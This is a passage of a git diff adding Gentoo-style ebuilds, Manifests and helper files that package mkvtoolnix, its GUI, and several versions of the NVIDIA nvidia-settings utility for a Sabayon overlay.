+	sys-apps/file
+	sys-libs/zlib
+	bzip2? ( app-arch/bzip2 )
+	lzo? ( dev-libs/lzo )
+	x11-libs/wxGTK:2.8[X] ~media-video/mkvtoolnix-${PV}[-wxwidgets]
+"
+DEPEND="${RDEPEND}
+	dev-ruby/rake
+"
+S=${WORKDIR}/${MY_P}
+
+src_prepare() {
+	sed -i -e '/^Exec/   s/mkvinfo/mkvinfo-gui/' \
+		share/desktop/mkvinfo.desktop || die
+	# Disable automagic curl dep used for online update checking
+	sed -i -e '/curl/d' configure.in
+	export CURL_CFLAGS="" CURL_LIBS=""
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf
+
+	use pch || myconf="${myconf} --disable-precompiled-headers"
+
+	WX_GTK_VER="2.8"
+	need-wxwidgets unicode
+	myconf="${myconf} --with-wx-config=${WX_CONFIG}"
+
+	econf \
+		$(use_enable lzo) \
+		$(use_enable bzip2 bz2) \
+		--enable-wxwidgets \
+		$(use_enable debug) \
+		--disable-qt \
+		${myconf} \
+		--with-boost-regex=boost_regex \
+		--with-boost-filesystem=boost_filesystem \
+		--with-boost-system=boost_system
+}
+
+src_compile() {
+	rake || die "rake failed"
+}
+
+src_install() {
+	# Don't run strip while installing stuff, leave to portage the job.
+	DESTDIR="${D}" rake install || die
+
+	find "${ED}usr/share/man" -not -name 'mmg.*' -type f -exec rm {} +
+	rm -r "${ED}usr/share/locale" || die
+	rm "${ED}"usr/bin/{mkvextract,mkvmerge,mkvpropedit} || die
+	mv "${ED}usr/bin/mkvinfo" "${ED}usr/bin/mkvinfo-gui" || die
+}
diff --git a/media-video/mkvtoolnix/Manifest b/media-video/mkvtoolnix/Manifest
new file mode 100644
index 00000000..8f705b8f
--- /dev/null
+++ b/media-video/mkvtoolnix/Manifest
@@ -0,0 +1,2 @@
+DIST mkvtoolnix-5.0.1.tar.bz2 2155095 RMD160 3c6220a1ff304a18e4d7125d6981966c3e9d368e SHA1 900211d47ba6cbeb4188bb45a492a2b9edf08ed2 SHA256 eecc48d17c0583b6b071e710bfe88ae09439bd99bb90c694a2fed0651bb08f19
+EBUILD mkvtoolnix-5.0.1.ebuild 1907 RMD160 f65e203b483c425b8e453803a6f4a3a4dc5d7a2f SHA1 bf7b6cd8679100e002bdbd803ed66ae757216011 SHA256 4b842af11a50fdaa5541fef1726cd1a01c31b791463db5259c5d3746f82a6b01
diff --git a/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild b/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild
new file mode 100644
index 00000000..ce3a2a5c
--- /dev/null
+++ b/media-video/mkvtoolnix/mkvtoolnix-5.0.1.ebuild
@@ -0,0 +1,86 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit wxwidgets autotools
+
+DESCRIPTION="Tools to create, alter, and inspect Matroska files"
+HOMEPAGE="http://www.bunkus.org/videotools/mkvtoolnix"
+SRC_URI="http://www.bunkus.org/videotools/mkvtoolnix/sources/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~x86 ~x86-fbsd"
+IUSE="bzip2 debug lzo pch wxwidgets"
+
+RDEPEND="
+	>=dev-libs/libebml-1.2.2
+	>=media-libs/libmatroska-1.3.0
+	>=dev-libs/boost-1.36.0
+	dev-libs/expat
+	media-libs/flac
+	media-libs/libogg
+	media-libs/libvorbis
+	sys-apps/file
+	sys-libs/zlib
+	bzip2? ( app-arch/bzip2 )
+	lzo? ( dev-libs/lzo )
+	wxwidgets? ( x11-libs/wxGTK:2.8[X] !media-video/mkvtoolnix-gui )
+"
+DEPEND="${RDEPEND}
+	dev-ruby/rake
+"
+
+src_prepare() {
+	# Disable automagic curl dep used for online update checking
+	sed -i -e '/curl/d' configure.in
+	export CURL_CFLAGS="" CURL_LIBS=""
+
+	eautoreconf
+}
+
+src_configure() {
+	local myconf
+
+	use pch || myconf="${myconf} --disable-precompiled-headers"
+
+	if use wxwidgets ; then
+		WX_GTK_VER="2.8"
+		need-wxwidgets unicode
+		myconf="${myconf} --with-wx-config=${WX_CONFIG}"
+	fi
+
+	econf \
+		$(use_enable lzo) \
+		$(use_enable bzip2 bz2) \
+		$(use_enable wxwidgets) \
+		$(use_enable debug) \
+		--disable-qt \
+		${myconf} \
+		--with-boost-regex=boost_regex \
+		--with-boost-filesystem=boost_filesystem \
+		--with-boost-system=boost_system
+}
+
+src_compile() {
+	rake || die "rake failed"
+}
+
+src_install() {
+	# Don't run strip while installing stuff, leave to portage the job.
+	DESTDIR="${D}" rake install || die
+
+	dodoc AUTHORS ChangeLog README TODO
+	doman doc/man/*.1
+
+	if use !wxwidgets; then
+		rm "${ED}usr/share/man/man1/mmg."* || die
+		rm -r "${ED}/usr/share/doc/${PN}/guide" || die
+	fi
+}
+
+pkg_postinst() {
+	einfo "On Sabayon the GUI is provided by media-video/mkvtoolnix-gui package."
+}
diff --git a/media-video/nvidia-settings/Manifest b/media-video/nvidia-settings/Manifest
new file mode 100644
index 00000000..12d029f9
--- /dev/null
+++ b/media-video/nvidia-settings/Manifest
@@ -0,0 +1,20 @@
+AUX 95-nvidia-settings 54 SHA256 cbc6e8cae863b768b2ec570390e409476ec3ca1137006888810a9ec7f0029eb0 SHA512 de9edf678c64ca3d10c912397800b2cb651ef9108b33ece97a4cc1e86dad0a9e81986cca6b96cfe80740d9cb433de7ef93f29be45178db714ee408c7f6570ac7 WHIRLPOOL 032fbfd24378659f30b0ca2d653dff8fa09106aa55803740f22f82515251c099e9637310d420d909135e9f7850cb2890cf4abeac9d6a4b5e390a7d061462b13a
+AUX nvidia-autostart.desktop 227 SHA256 a2f55b8b6778de2343e16f3a5d6a38719c14220cdb02e0d83eaf12f9bcdb7cd3 SHA512 9e4f81a1085c0bb1e56142bc68050fc6a2e5823d728991745df50c62d161208dbb8f1e34770871161eebd2610fbfb0a64d683a05d8d236a326281770e612511d WHIRLPOOL 881b1934e6c8a094554cac3a16e9e733c5bca2e10eadaa3fe56fdc8a8e5145ba6c7f11bb9948f5d8e4b144eb41a4629a74a74dda0fa18f87ff4a00093fd0561d
+DIST nvidia-settings-295.33.tar.bz2 1545933 SHA256 37128d2a90b22600c2df582c78dcc9d7c3cd1e26b2db8ab81a50a3fc3acfcdba SHA512 b1d6f3b3b679bc91b39259b8b0d03d33696f05ba700e07fd70d7e2a90f4708557a106315d43eba8fa771bcfdf270842e36a9b9f139189e571e8f4c463f3e7217 WHIRLPOOL bc56aac3c409ea398e00b03284ca18ba80373608c11d22c6c8b2bda574d12137ea84905054c094d0327198e71344fc203ab4cff23a5427ca16780f2f75fd8428
+DIST nvidia-settings-295.40.tar.bz2 1545625 SHA256 68e8da979ef69b487a5ef237d7cc0f6d1d1cf3e027ffa2e90fa2501dc793d909 SHA512 3260cdfcb933833616ae5b97d6735135834947cc77f74bd2b7d8e2a7c4035fb5d848c9146421e4b9675d034d9008b0331545c9a5faf38f7cfd52c9aa5c50ac25 WHIRLPOOL 958bba15f9d2a62651bd9ad94f57c511d76c0a1b72a1565fdfd04f3758d5ff5f7b63b3a0b337b2388729ad4d12baf2ab2ccbd17b9f6c701c7b9bfd7c34b00da2
+DIST nvidia-settings-302.07.tar.bz2 1479582 SHA256 4f4a163d277202f88e40289f1081df4e6d0b2a9b4133e9728ae10dcef5c7c784 SHA512 10ebae882740f4092ff00029add1ffd1716a6a346475e61269fd674f1bbae0919f4e573eaf8080cd9bf689be6c5bd69a645176d6e7a4ae6a6ec604ee215008a0 WHIRLPOOL 430f2414ff367ece40635beb9fa18d5ef94a356ff28dc256c3eeb184058a4baf76ab56e7f803ce8addd47674e2145e260cba65b48395556ad96e74de9ef1d9b4
+DIST nvidia-settings-304.22.tar.bz2 1476172 SHA256 58566c8079101cbddaef0b5f16af7fde86dbb045e5641a3112d9868afc8809ec SHA512 2f58099dc34e7de6772f6541b57a4fad4b8a7c760960ac8a9521931b2399f5015433e3ff721a828be652371d5a815ded32e048e50265aa8bd45528145421fa11 WHIRLPOOL c8e6bc0a8a5b9538283a6ae47b62eb0b245ab54a3284a8220c426b23f63eeb42d8f1469ad73d1f84a27a9afafc0e35e1d5d7a56f98f80323bebc64fd1bbe445f
+DIST nvidia-settings-304.60.tar.bz2 1479772 SHA256 96f0f984d2d4e37c3e492476c3506283f5666d952ae94ddc79d7e16b047a9b36 SHA512 7b55621b97c39f3905d6368151c344a3914b0855951f92b4ff479ba94e92fca715505692d8ad72b9dca33b93eb45d5e3342b569c898d837053686ebce71b14bc WHIRLPOOL 9c63088ec558d55469764422ef26e2697663b3d4bfb9c075b17c4c90ec90b5fee9ff42fbc711c7f1e22a102f2bf1e3ec696923531b54ac374283318594f89ff5
+DIST nvidia-settings-304.88.tar.bz2 1479968 SHA256 22d7c1eeb080ef5d3a99b57acfbd0afa579f42c44c1897f4c786fda167a1d7b0 SHA512 9dc8f2620fb7df689354f7a06eae47490db168eb4226bef2f4e8843f3167cfa25dda73420914fd18280d481446095c2a09831e743f565a48cffb73d13001d520 WHIRLPOOL 441a3e35bb5a4aafe3092e7fecf1144c46ac7e3adf1d7a62c30e0262314c02594451d4efab1d5a6837d0eb1238ffc173c5c0145c7f14f016d16c38d199135ea3
+DIST nvidia-settings-310.19.tar.bz2 1482012 SHA256 1af2cd902c2adf261a6951b1d729523e515f37e45f86785675404fc58ec1c03a SHA512 fd3e376f6518e9e844e0fe7f2aecce18c03da0ebdfa67e41bc566614c89f9b284251e2e0841aa486ac8cb429c246e0b19c77773929ec1393f986bc267556ae84 WHIRLPOOL 2d3ff4a08d44a2abc31679e2779514b95de429cd1ec9e5ca865ef193ce64985dbe192e1e303f17c96dd84df2fa81eeabe1c7120945220ad17c26dc38e9e90f5a
+DIST nvidia-settings-313.30.tar.bz2 1496166 SHA256 50c9eeb31d64310f3d49a9596dd582a7dc84f8911a93c7514c501912a944f960 SHA512 a6cbb9078d0d46ad5fc19026d5f2ec3100ddf731caa360e8586c23d7bedcb19998ddd2dc07806c871b58b79765b3dff902f25d69a27bd2c2f08afc6c70f1f1ef WHIRLPOOL 33b152e48a3692cc3efa5b2c10d47f624e0b89d915d30cc75eab3cae4ac3e691f3ab656993377fc6e7f06bc327126252d83d3d6b3f0e89fc4d207ccc057a1f5b
+DIST nvidia-settings-325.15.tar.bz2 1541319 SHA256 e7dabddf1240bcbe2990a470defba480d619cd97fa1c0ef4e28653c689be0b03 SHA512 ccb5808fcd2d34cb7fb6cdb2e081bbebb3ced5d53c296cabac76685e6612faffc20609a6e4cdbd4170a3a72b3487f8520df799342004914a42b8dfb69d8d5fc0 WHIRLPOOL 8ad4be1357358c0e7ac6cdf4247f216ac7598f804ec74285a3fe02f51a41cc35742d043dc56feee82bb2099e598a1a13eb2d1a7bab8c72e922aee495b017f34e
+EBUILD nvidia-settings-295.33.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
+EBUILD nvidia-settings-295.40.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
+EBUILD nvidia-settings-302.07.ebuild 2149 SHA256 c8d5dd2f4e32d98f29f0763c0a4fc8148224e5e447913f1346fea580daf1b8e3 SHA512 38ec460aa7369672dc8257f2d8142491836a15f14640a94991cfc54c1629459331be2c88feecee73c6855bb2ef0ac04b9b9c66a76cfbb8cec96b24b5ec1476d0 WHIRLPOOL 3401d06502690bf17e632f0f2183639eae496d448142994320e900c2e2befb57572579f439f74f3166c0130d6a4f2bd91bc810ee670238f994c9f47f8e4d6f2e
+EBUILD nvidia-settings-304.22.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a
+EBUILD nvidia-settings-304.60.ebuild 1666 SHA256 c36d08361b8c902b6a6df840f2f368c9c6107d299921fcfc21d6be00dd9b3c0e SHA512 81604aa64d62afb3bf20b4333d2d86ad686d162f21551fb13a154be64eef8f864f918c455c0d5564a4e84c46a0ae8f1d4185556ee5faa0c627531a031339a42e WHIRLPOOL 57fd85225ca9cbadb164d2c7cf894133d286d44e9ea052844d095482aae61d297f10e3a920e263d3f51a8231cdcc179650f3e14b68ff60c5c99ee51ad9a89e1b
+EBUILD nvidia-settings-304.88.ebuild 2124 SHA256 d17f2f904fefa91652133d443ad7f2798fe636eecc6ee2c61842c8f312be93a9 SHA512 52f3adc00efe2d700c9bd806182722380a5c5f280455530131df381e2fa0fe88e4471dbf840051fe8b446336794db96421b0e2125393703ec4964bde1e997282 WHIRLPOOL 47171584629f1d701575453f882eb66eb7d0dcdc6ba513c36ed71994b270a78d9609f82b83124995a8a5d00cdbb1d26d6d53623b658b78d91a4446b7ee51a448
+EBUILD nvidia-settings-310.19.ebuild 1558 SHA256 5c5cef6cb2ec65a5243755dd39b427ed89ec3417c91090708f849101aff37edd SHA512 4dc73ea79b8fa4c202ca0e0c75ef76178e8a79e178ea0792d7a9e4d83c372ca84d6e5a0d7d859a93b23446fc321eebf2357a25e6b0fed1a2a0f32e6f9bb50f1d WHIRLPOOL 4b7c0e4fb81d97edcd9ba4f4e793e2f192be61dbee120c9247b126d5ec906b9859f409cc03b136f1e71f2fd9151de73ed4af50b4d080cb7ca1343140215a9e2a
+EBUILD nvidia-settings-313.30.ebuild 2003 SHA256 0e930e57bac62e0d8f1a2df56fe3d5e9c1fca5cb9fa7352874bd103ac31a44db SHA512 c3bc593587cddc9ca02736d6a641a7e7404e5227fb8b5828b7124854d35f59cc8db0795ea9b4baa2d06f975d5c1a8b8060e3b53d204baea511c2cfca4a476553 WHIRLPOOL bae876400f73691aa96435bab9e245813e900e9a91edbf85aef650f9733b108bfb56381a1a91a0426fd830da41e68ac407ffa9dc06af81d6e0a3cc39a7988410
+EBUILD nvidia-settings-325.15.ebuild 2028 SHA256 da27bdb190b3e53a423923ce7cffea8c45c1084b746624203ad6aa34dd3c627a SHA512 29a7dd16ae1b025466bcdca2d1863ccacacd7af7398615940abd8f797c472d05a34f3d269c8be939cb8de43cee66954691195933f691186d4a52771e9390aa35 WHIRLPOOL 9749983650382375a08945d65b9e8f056a29ca9ff58551718b546e561ba70117da6058723287ec612b0ec910ff3a9e6cf0d818bb3ccd4239bea0958bb46acc46
diff --git a/media-video/nvidia-settings/files/95-nvidia-settings b/media-video/nvidia-settings/files/95-nvidia-settings
new file mode 100644
index 00000000..48c41d8a
--- /dev/null
+++ b/media-video/nvidia-settings/files/95-nvidia-settings
@@ -0,0 +1,2 @@
+#!/bin/sh
+/usr/bin/nvidia-settings --load-config-only
diff --git a/media-video/nvidia-settings/files/nvidia-autostart.desktop b/media-video/nvidia-settings/files/nvidia-autostart.desktop
new file mode 100644
index 00000000..5c6d7a4b
--- /dev/null
+++ b/media-video/nvidia-settings/files/nvidia-autostart.desktop
@@ -0,0 +1,8 @@
+[Desktop Entry]
+Type=Application
+Name=NVIDIA X Server Settings
+Comment=Configure NVIDIA X Server Settings
+Exec=sh -c "/usr/bin/nvidia-settings --load-config-only"
+Terminal=false
+Icon=nvidia-settings
+Categories=System;Settings;
diff --git a/media-video/nvidia-settings/nvidia-settings-295.33.ebuild b/media-video/nvidia-settings/nvidia-settings-295.33.ebuild
new file mode 100644
index 00000000..fe353232
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-295.33.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $
+
+EAPI=2
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-drivers/nvidia-drivers
+	!x11-drivers/nvidia-drivers[gtk]"
+
+src_prepare() {
+	sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk
+}
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	cd "${S}/src/libXNVCtrl"
+	emake clean || die "Cleaning old libXNVCtrl failed"
+	append-flags -fPIC
+	emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!"
+	filter-flags -fPIC
+
+	cd "${S}"
+	einfo "Building nVidia-Settings..."
+	emake  CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings"
+}
+
+src_install() {
+	emake STRIP_CMD=/bin/true install || die
+
+	# Install libXNVCtrl and headers
+	insinto "/usr/$(get_libdir)"
+	doins src/libXNVCtrl/libXNVCtrl.a
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+
+	# Now install documentation
+	dodoc doc/*.txt
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-295.40.ebuild b/media-video/nvidia-settings/nvidia-settings-295.40.ebuild
new file mode 100644
index 00000000..fe353232
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-295.40.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $
+
+EAPI=2
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-drivers/nvidia-drivers
+	!x11-drivers/nvidia-drivers[gtk]"
+
+src_prepare() {
+	sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk
+}
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	cd "${S}/src/libXNVCtrl"
+	emake clean || die "Cleaning old libXNVCtrl failed"
+	append-flags -fPIC
+	emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!"
+	filter-flags -fPIC
+
+	cd "${S}"
+	einfo "Building nVidia-Settings..."
+	emake  CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings"
+}
+
+src_install() {
+	emake STRIP_CMD=/bin/true install || die
+
+	# Install libXNVCtrl and headers
+	insinto "/usr/$(get_libdir)"
+	doins src/libXNVCtrl/libXNVCtrl.a
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+
+	# Now install documentation
+	dodoc doc/*.txt
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-302.07.ebuild b/media-video/nvidia-settings/nvidia-settings-302.07.ebuild
new file mode 100644
index 00000000..fe353232
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-302.07.ebuild
@@ -0,0 +1,72 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-256.52-r1.ebuild,v 1.1 2010/09/05 13:28:32 lxnay Exp $
+
+EAPI=2
+
+inherit eutils toolchain-funcs multilib flag-o-matic
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE=""
+
+# xorg-server is used in the depends as nvidia-settings builds against some
+# headers in /usr/include/xorg/.
+# This also allows us to optimize out a lot of the other dependancies, as
+# between gtk and xorg-server, almost all libraries and headers are accounted
+# for.
+DEPEND=">=x11-libs/gtk+-2:2
+	dev-util/pkgconfig
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-libs/libXv
+	x11-proto/xf86driproto
+	x11-proto/xf86vidmodeproto"
+
+RDEPEND=">=x11-libs/gtk+-2:2
+	x11-base/xorg-server
+	x11-libs/libXt
+	x11-drivers/nvidia-drivers
+	!x11-drivers/nvidia-drivers[gtk]"
+
+src_prepare() {
+	sed -i -e "s#prefix = .*#prefix = ${D}/usr#" utils.mk
+}
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	cd "${S}/src/libXNVCtrl"
+	emake clean || die "Cleaning old libXNVCtrl failed"
+	append-flags -fPIC
+	emake CDEBUGFLAGS="${CFLAGS}" CC="$(tc-getCC)" libXNVCtrl.a || die "Building libXNVCtrl failed!"
+	filter-flags -fPIC
+
+	cd "${S}"
+	einfo "Building nVidia-Settings..."
+	emake  CC="$(tc-getCC)" STRIP_CMD=/bin/true || die "Failed to build nvidia-settings"
+}
+
+src_install() {
+	emake STRIP_CMD=/bin/true install || die
+
+	# Install libXNVCtrl and headers
+	insinto "/usr/$(get_libdir)"
+	doins src/libXNVCtrl/libXNVCtrl.a
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/{NVCtrl,NVCtrlLib}.h
+
+	# Install icon and .desktop entry
+	doicon "${S}/doc/${PN}.png"
+	sed -i "s:__UTILS_PATH__:/usr/bin:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__PIXMAP_PATH__:/usr/share/pixmaps:" "${S}/doc/${PN}.desktop"
+	sed -i "s:__NVIDIA_SETTINGS_DESKTOP_CATEGORIES__:Utility:" "${S}/doc/${PN}.desktop"
+	domenu "${S}/doc/${PN}.desktop"
+
+	# Now install documentation
+	dodoc doc/*.txt
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-304.22.ebuild b/media-video/nvidia-settings/nvidia-settings-304.22.ebuild
new file mode 100644
index 00000000..42f9cf45
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-304.22.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd ~amd64-fbsd"
+IUSE="examples"
+
+COMMON_DEPEND="x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXxf86vm
+	x11-libs/gtk+:2
+	x11-libs/gdk-pixbuf[X]
+	media-libs/mesa
+	x11-libs/pango[X]
+	x11-libs/libXv
+	x11-libs/libXrandr
+	dev-libs/glib:2"
+
+RDEPEND="=x11-drivers/nvidia-drivers-3*
+	${COMMON_DEPEND}"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	x11-proto/xproto"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :(
+	emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a
+
+	einfo "Building nvidia-settings..."
+	emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1
+}
+
+src_install() {
+	emake -C src/ DESTDIR="${D}" PREFIX=/usr install
+
+	insinto /usr/$(get_libdir)
+	doins src/libXNVCtrl/libXNVCtrl.a
+
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/*.h
+
+#	doicon doc/${PN}.png # Installed through nvidia-drivers
+	make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings
+
+	# bug 412569 - Installed through nvidia-drivers
+#	rm -rf "${D}"/usr/share/man
+
+	dodoc doc/*.txt
+
+	if use examples; then
+		docinto examples/
+		dodoc samples/*.c
+		dodoc samples/README
+	fi
+}
diff --git a/media-video/nvidia-settings/nvidia-settings-304.60.ebuild b/media-video/nvidia-settings/nvidia-settings-304.60.ebuild
new file mode 100644
index 00000000..956e1ce4
--- /dev/null
+++ b/media-video/nvidia-settings/nvidia-settings-304.60.ebuild
@@ -0,0 +1,66 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/media-video/nvidia-settings/nvidia-settings-304.60.ebuild,v 1.2 2012/12/06 10:33:09 pinkbyte Exp $
+
+EAPI=4
+
+inherit eutils multilib toolchain-funcs
+
+DESCRIPTION="NVIDIA Linux X11 Settings Utility"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="ftp://download.nvidia.com/XFree86/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="-* amd64 ~x86 ~x86-fbsd"
+IUSE="examples"
+
+COMMON_DEPEND="x11-libs/libX11
+	x11-libs/libXext
+	x11-libs/libXxf86vm
+	x11-libs/gtk+:2
+	x11-libs/gdk-pixbuf[X]
+	media-libs/mesa
+	x11-libs/pango[X]
+	x11-libs/libXv
+	x11-libs/libXrandr
+	dev-libs/glib:2"
+
+RDEPEND="=x11-drivers/nvidia-drivers-3*
+	${COMMON_DEPEND}"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	x11-proto/xproto"
+
+src_compile() {
+	einfo "Building libXNVCtrl..."
+	emake -C src/libXNVCtrl/ clean # NVidia ships pre-built archives :(
+	emake -C src/libXNVCtrl/ CC="$(tc-getCC)" RANLIB="$(tc-getRANLIB)" libXNVCtrl.a
+
+	einfo "Building nvidia-settings..."
+	emake -C src/ CC="$(tc-getCC)" LD="$(tc-getLD)" STRIP_CMD="$(type -P true)" NV_VERBOSE=1
+}
+
+src_install() {
+	emake -C src/ DESTDIR="${D}" PREFIX=/usr install
+
+	insinto /usr/$(get_libdir)
+	doins src/libXNVCtrl/libXNVCtrl.a
+
+	insinto /usr/include/NVCtrl
+	doins src/libXNVCtrl/*.h
+
+#	doicon doc/${PN}.png # Installed through nvidia-drivers
+	make_desktop_entry ${PN} "NVIDIA X Server Settings" ${PN} Settings
+
+	# bug 412569 - Installed through nvidia-drivers
+#	rm -rf "${D}"/usr/share/man
+
+	dodoc doc/*.txt
+
